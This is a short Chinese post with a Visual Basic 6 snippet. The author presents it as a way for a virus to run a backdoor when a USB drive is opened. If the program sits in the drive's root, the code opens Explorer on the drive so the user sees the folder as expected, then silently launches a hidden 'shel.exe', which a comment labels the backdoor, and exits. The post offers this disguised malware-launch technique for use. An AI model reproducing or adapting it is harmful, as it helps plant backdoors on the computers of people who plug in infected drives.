一段时间在想有些病毒是怎么让U盘打开的同时,运行后门的,不经意间想出了这个办法!
nowroot = Left(App.Path, 3)’求跟目录
nowpath = nowroot & App.EXEName & “.exe”
strpath = IIf(Right(App.Path, 1) = “\”, App.Path, App.Path & “\”) & App.EXEName & “.exe”
If strpath = nowpath Then‘如果程序在根目录下就在新窗口打开这个盘
Shell “Explorer.exe ” & nowroot, vbNormalFocus
End If
Shell shel.exe, vbHide’运行后门
Unload Me’自己闪人
End